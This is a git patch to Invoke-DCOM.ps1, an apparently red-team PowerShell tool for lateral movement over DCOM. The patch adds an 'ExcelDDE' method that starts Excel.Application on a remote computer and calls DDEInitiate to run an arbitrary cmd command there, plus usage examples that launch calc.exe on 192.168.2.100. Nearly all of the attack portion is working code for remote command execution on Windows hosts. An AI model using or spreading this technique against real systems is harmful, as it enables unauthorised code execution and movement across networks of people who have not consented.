From 68fe70c4e9680c6de9951c5d4fe19d29b9d0373c Mon Sep 17 00:00:00 2001 From: Steve Borosh Date: Wed, 8 Nov 2017 19:43:16 -0500 Subject: [PATCH] Update Invoke-DCOM.ps1 --- Invoke-DCOM.ps1 | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/Invoke-DCOM.ps1 b/Invoke-DCOM.ps1 index ba5f966..25f876f 100644 --- a/Invoke-DCOM.ps1 +++ b/Invoke-DCOM.ps1 @@ -39,7 +39,8 @@ function Invoke-DCOM { .EXAMPLE Import-Module .\Invoke-DCOM.ps1 - Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20 -Command "calc.exe" + Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20.Application -Command "calc.exe" + Invoke-DCOM -ComputerName '192.168.2.100' -Method ExcelDDE -Command "calc.exe" Invoke-DCOM -ComputerName '192.168.2.100' -Method ServiceStart "MyService" #> @@ -51,7 +52,7 @@ function Invoke-DCOM { [Parameter(Mandatory = $true, Position = 1)] [ValidateSet("MMC20.Application", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart", - "DetectOffice","RegisterXLL")] + "DetectOffice","RegisterXLL","ExcelDDE")] [String] $Method = "MMC20.Application", @@ -182,6 +183,12 @@ function Invoke-DCOM { $Obj = [System.Activator]::CreateInstance($Com) $obj.Application.RegisterXLL("$DllPath") } + elseif ($Method -Match "ExcelDDE") { + + $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $obj.DDEInitiate("cmd", "/c $Command") + } } End {